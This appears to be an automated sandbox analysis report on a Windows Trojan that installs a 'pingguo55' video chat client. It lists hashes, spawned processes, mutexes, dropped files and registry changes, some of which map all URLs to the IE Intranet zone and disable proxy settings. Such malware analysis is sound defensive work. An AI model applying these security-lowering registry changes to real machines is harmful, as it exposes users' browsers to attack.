MD5: b1ac51a5a779001bbce64481e44ad086
SHA1: 597595dac3b7d7c1d962ad16dc228a66d02c797d
SHA256: e95bd5bfea1509740b13ab4bd083e5c00ba4807d38b1eb5f1c9cef5d437534a3
SSDeep: 24576:5vAkpgPiqUPWq3uWXQhVONmXO1P3PWBx:5lGN WSFQqmXORs
Size: 1339392 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2015-04-19 14:43:20
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ResideClient.exe:652
net1.exe:604
ServiceClient.exe:704
net.exe:516
pingguo.exe:304
ServiceClient.e:548
%original file name%.exe:2040
girlshow_22000025816.exe:2024

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:

UCä¯ÀÀÆ÷
ÃÀÅ®Ðã
ShimCacheMutex
ZonesLockedCacheCounterMutex
ZonesCounterMutex
ZonesCacheCounterMutex
RasPbFile
WininetProxyRegistryMutex
WininetConnectionMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
iylkh

File activity

The process ResideClient.exe:652 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
%WinDir%\msgpi.log (48 bytes)
%WinDir%\gsyspd.log (96 bytes)

The process pingguo.exe:304 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\pingguo55\avutil-52.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
%Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
%Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
%Program Files%\pingguo55\ResideClient.exe (9608 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
%Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
%Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\MFC71u.dll (33391 bytes)
%Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
%Program Files%\pingguo55\GGOle.dll (2392 bytes)
%Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
%Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
%Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
%Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
%Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
%Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
%Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
%WinDir%\gsyspd.log (96 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
%Program Files%\pingguo55\Update.exe (9608 bytes)
%Program Files%\pingguo55\data\IllWord.dat (3 bytes)
%Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
%Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
%Program Files%\pingguo55\uninst.exe (5659 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
%Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
%Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
%Program Files%\pingguo55\ImageScale.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
%Program Files%\pingguo55\Æ»¹ûÊÓƵÉçÇø.url (50 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
%Program Files%\pingguo55\gdiplus.dll (49631 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
%Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
%Program Files%\pingguo55\msvcr71.dll (12088 bytes)
%Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
%Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
%Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
%Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
%Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
%Program Files%\pingguo55\msvcp71.dll (16944 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
%Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
%Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
%Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
%Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
%WinDir%\msgpi.log (48 bytes)
%Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
%Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
%Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
%Program Files%\pingguo55\Skin\default_female.png (15 bytes)
%Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
%Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
%Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
%Program Files%\pingguo55\data\Update.dat (81 bytes)
%Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
%Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
%Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
%Program Files%\pingguo55\EncWmv.dll (8184 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
%Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
%Program Files%\pingguo55\data\common.dat (24 bytes)
%Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
%Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓƵÉçÇø.lnk (762 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
%Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
%Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\жÔØÆ»¹ûÊÓƵÉçÇø.lnk (581 bytes)
%Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
%Program Files%\pingguo55\data\Spread.dat (112 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\Æ»¹ûÊÓƵÉçÇø.lnk (774 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
%Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
%Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
%Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
%Program Files%\pingguo55\Skin\default_male.png (15 bytes)
%Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
%Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\DnsSession.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
%Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
%Program Files%\pingguo55\ResCenter.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
%Program Files%\pingguo55\crashreport.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
%Program Files%\pingguo55\Install.ini (287 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
%Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
%Program Files%\pingguo55\Config.ini (67 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
%Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
%Program Files%\pingguo55\data\addrs.dat (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
%Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
%Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
%Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1.tmp (0 bytes)

The process %original file name%.exe:2040 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (2892 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (0 bytes)

The process girlshow_22000025816.exe:2024 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
%Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes)

The Trojan deletes the following file(s):

%Program Files%\pingguo55\Install\pingguo.exe.ggb (0 bytes)

Registry activity

The process ResideClient.exe:652 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "3B 0D E3 B9 9F FE 68 76 1B A6 EA 72 14 02 E3 A1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "85 1D DA 38 19 9C B3 A7 66 80 65 5F CC FC 05 D4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\G2Pd]
"PD" = "71 58 C5 1D 3B C6 20 AC 27 CD 4E 34 A3 97 32 08"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 E3 F4 95 EC DA 0D 59 A6 F3 97 21 B4 96 12 87"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process net1.exe:604 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 C2 9E 3F 01 BF 63 B6 16 0C 9C 39 91 FD 33 BB"

The process ServiceClient.exe:704 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 91 F4 8A 44 2F 16 72 47 EE 44 E6 7A 0C E8 D1"

The process net.exe:516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 A2 76 B7 E8 E1 64 BA 93 B8 79 35 99 8F 4E 48"

The process pingguo.exe:304 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"Publisher" = "½ð»ª³¤·çÐÅÏ¢¼¼ÊõÓÐÏÞ¹«Ë¾"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\TypeLib]
"Version" = "1.0"
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ProgID]
"(Default)" = "Pingguo55.ChatRoomOcx.1"

[HKCR\Pingguo55.ChatRoomOcx.1\CLSID]
"(Default)" = "{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}"

[HKCR\Pingguo55.ChatRoomOcx.1]
"(Default)" = "ChatRoomOcx Control"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayName" = "Æ»¹ûÊÓƵÉçÇø 2014Beta3.6.2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}]
"(Default)" = "ChatRoomOcx Property Page"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"pingguo55Path" = "%Program Files%\pingguo55"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}]
"(Default)" = "_DChatRoomOcx"

[HKCR\Component Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls that are safely scriptable"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Version]
"(Default)" = "3.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0]
"(Default)" = "ChatRoomOcx ActiveX ¿Ø¼þÄ£¿é"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}]
"(Default)" = "ChatRoomOcx Control"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\HELPDIR]
"(Default)" = "%Program Files%\pingguo55"

[HKCR\Component Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls safely initializable from persistent data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\FLAGS]
"(Default)" = "2"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayIcon" = "%Program Files%\pingguo55\pingguo55.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}]
"(Default)" = "_DChatRoomOcxEvents"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ToolboxBitmap32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX, 1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Control]
"(Default)" = ""

[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"

[HKCR\pingguo55room\shell\open\command]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "E2 ED D7 4B 92 85 DE 22 54 CF 61 24 9A 63 E7 61"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\G2Pd]
"PD" = "8B B7 9C D6 61 46 3C 66 31 19 F3 37 F2 9F E2 59"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"DisplayVersion" = "2014Beta3.6.2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 44 7E 9B C1 F0 DB 2F 64 15 BE BF DF 50 BB 78"

[HKCR\pingguo55room]
"URL Protocol" = "%Program Files%\pingguo55\pingguo55.exe"

[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\0\win32]
"(Default)" = "%Program Files%\pingguo55\ChatRoomUI.ocx"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"UninstallString" = "%Program Files%\pingguo55\uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

